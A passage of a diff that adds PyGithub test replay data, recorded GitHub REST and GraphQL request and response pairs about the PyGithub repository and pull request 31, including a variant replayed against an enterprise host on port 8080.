lse,"open_issues_count":288,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1715,"open_issues":288,"watchers":6484,"default_branch":"main","permissions":{"admin":false,"maintain":false,"push":true,"triage":true,"pull":true},"custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1715,"subscribers_count":111} + +https +GET +api.github.com +None +/repos/PyGithub/PyGithub/pulls/31 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Sat, 20 Jan 2024 09:58:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"add6f9aeb7d78b7a86d664f8107ca57bac6312a49fa4a9279afaebe7180405e5"'), ('Last-Modified', 'Thu, 21 Sep 2023 07:32:37 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'pull_requests=read; contents=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1705746614'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B714:354E89:774D594:78D06E8:65AB995A')] +{"url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31","id":1436215,"node_id":"MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ==","html_url":"https://github.com/PyGithub/PyGithub/pull/31","diff_url":"https://github.com/PyGithub/PyGithub/pull/31.diff","patch_url":"https://github.com/PyGithub/PyGithub/pull/31.patch","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/31","number":31,"state":"closed","locked":false,"title":"Title edited by PyGithub","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"body":"Body edited by PyGithub\n","created_at":"2012-05-27T09:25:36Z","updated_at":"2018-06-25T12:54:43Z","closed_at":"2012-05-27T10:29:07Z","merged_at":"2012-05-27T10:29:07Z","merge_commit_sha":"28ae6dd10ebccd5eaf8db8dacb5b699ee7f4a663","assignee":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"assignees":[{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false}],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"draft":false,"commits_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/commits","review_comments_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/comments","review_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/31/comments","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206","head":{"label":null,"ref":"master","sha":"8a4f306d4b223682dd19410d4a9150636ebe4206","user":null,"repo":null},"base":{"label":"PyGithub:topic/RewriteWithGeneratedCode","ref":"topic/RewriteWithGeneratedCode","sha":"ed866fc43833802ab553e5ff8581c81bb00dd433","user":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"repo":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-01-20T06:37:31Z","pushed_at":"2024-01-19T20:38:15Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15500,"stargazers_count":6484,"watchers_count":6484,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1715,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":288,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1715,"open_issues":288,"watchers":6484,"default_branch":"main"}},"_links":{"self":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31"},"html":{"href":"https://github.com/PyGithub/PyGithub/pull/31"},"issue":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/31"},"comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/issues/31/comments"},"review_comments":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/comments"},"review_comment":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/PyGithub/PyGithub/pulls/31/commits"},"statuses":{"href":"https://api.github.com/repos/PyGithub/PyGithub/statuses/8a4f306d4b223682dd19410d4a9150636ebe4206"}},"author_association":"MEMBER","auto_merge":null,"active_lock_reason":null,"merged":true,"mergeable":false,"rebaseable":false,"mergeable_state":"dirty","merged_by":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"comments":1,"review_comments":2,"maintainer_can_modify":false,"commits":3,"additions":511,"deletions":384,"changed_files":45} + +https +POST +api.github.com +None +/graphql +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"query": "mutation DisablePullRequestAutoMerge($input: DisablePullRequestAutoMergeInput!) { disablePullRequestAutoMerge(input: $input) { actor { avatarUrl login resourcePath url } clientMutationId } }", "variables": {"input": {"pullRequestId": "MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ=="}}} +200 +[('Server', 'GitHub.com'), ('Date', 'Wed, 07 Jun 2023 08:27:45 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"1573389419d98a2b3d9a6b1fc058a68f1fc3d31108ccfdab8ca4121153626211"'), ('Last-Modified', 'Wed, 07 Jun 2023 04:02:03 GMT'), ('X-OAuth-Scopes', 'public_repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4959'), ('X-RateLimit-Reset', '1686126614'), ('X-RateLimit-Used', '41'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', '8A96:10854:895AE2:8AB25B:64803F81')] +{"data": {"disablePullRequestAutoMerge": {"actor": {"avatarUrl": "https://avatars.githubusercontent.com/u/14806300?u=786f9f8ef8782d45381b01580f7f7783cf9c7e37&v=4", "login": "heitorpolidoro", "resourcePath": "/heitorpolidoro", "url": "https://github.com/heitorpolidoro"}, "clientMutationId": null}}} diff --git a/tests/ReplayData/GraphQl.testOtherPort.txt b/tests/ReplayData/GraphQl.testOtherPort.txt new file mode 100644 index 0000000000..f5a5ada09e --- /dev/null +++ b/tests/ReplayData/GraphQl.testOtherPort.txt @@ -0,0 +1,32 @@ +https +GET +my.enterprise.com +8080 +/api/v3/repos/PyGithub/PyGithub +{'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'enterprise.com'), ('Date', 'Sat, 20 Jan 2024 09:58:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"8d3a8781cb083ecf6b9194272a6522af705bd0d8c5bbaa959618b6d51725387e"'), ('Last-Modified', 'Sat, 20 Jan 2024 06:37:31 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'metadata=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1705746614'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B70C:505BC:14BDE07A:14F6AE81:65AB9959')] +{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://my.enterprise.com:8080/api/v3/users/PyGithub","html_url":"https://my.enterprise.com:8080/PyGithub","followers_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/followers","following_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/following{/other_user}","gists_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/gists{/gist_id}","starred_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/subscriptions","organizations_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/orgs","repos_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/repos","events_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/events{/privacy}","received_events_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://my.enterprise.com:8080/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub","forks_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/forks","keys_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/teams","hooks_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/events","assignees_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/tags","blobs_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/languages","stargazers_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/subscription","commits_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/merges","archive_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/downloads","issues_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-01-20T06:37:31Z","pushed_at":"2024-01-19T20:38:15Z","git_url":"git://my.enterprise.com:8080/PyGithub/PyGithub.git","ssh_url":"git@my.enterprise.com:PyGithub/PyGithub.git","clone_url":"https://my.enterprise.com:8080/PyGithub/PyGithub.git","svn_url":"https://my.enterprise.com:8080/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15500,"stargazers_count":6484,"watchers_count":6484,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1715,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":288,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://my.enterprise.com:8080/api/v3/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1715,"open_issues":288,"watchers":6484,"default_branch":"main","permissions":{"admin":false,"maintain":false,"push":true,"triage":true,"pull":true},"custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://my.enterprise.com:8080/api/v3/users/PyGithub","html_url":"https://my.enterprise.com:8080/PyGithub","followers_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/followers","following_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/following{/other_user}","gists_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/gists{/gist_id}","starred_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/subscriptions","organizations_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/orgs","repos_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/repos","events_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/events{/privacy}","received_events_url":"https://my.enterprise.com:8080/api/v3/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1715,"subscribers_count":111} + +https +GET +my.enterprise.com +8080 +/api/v3/repos/PyGithub/PyGithub/pulls/31 +{'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'enterprise.com'), ('Date', 'Sat, 20 Jan 2024 09:58:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"add6f9aeb7d78b7a86d664f8107ca57bac6312a49fa4a9279afaebe7180405e5"'), ('Last-Modified', 'Thu, 21 Sep 2023 07:32:37 GMT'), ('github-authentication-token-expiration', '2024-02-19 10:58:06 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'pull_requests=read; contents=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4997'), ('X-RateLimit-Reset', '1705746614'), ('X-RateLimit-Used', '3'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'B714:354E89:774D594:78D06E8:65AB995A')] +{"url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/pulls/31","id":1436215,"node_id":"MDExOlB1bGxSZXF1ZXN0MTQzNjIxNQ==","html_url":"https://my.enterprise.com:8080/PyGithub/PyGithub/pull/31","diff_url":"https://my.enterprise.com:8080/PyGithub/PyGithub/pull/31.diff","patch_url":"https://my.enterprise.com:8080/PyGithub/PyGithub/pull/31.patch","issue_url":"https://my.enterprise.com:8080/api/v3/repos/PyGithub/PyGithub/issues/31","number":31,"state":"closed","locked":false,"title":"Title edited by PyGithub","user":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://my.enterprise.com:8080/api/v3/users/jacquev6","html_url":"https://my.enterprise.com:8080/jacquev6","followers_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/followers","following_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/following{/other_user}","gists_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/gists{/gist_id}","starred_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/subscriptions","organizations_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/orgs","repos_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/repos","events_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/events{/privacy}","received_events_url":"https://my.enterprise.com:8080/api/v3/users/jacquev6/received_events","type":"User","site_admin":false},"body":"Body edited by 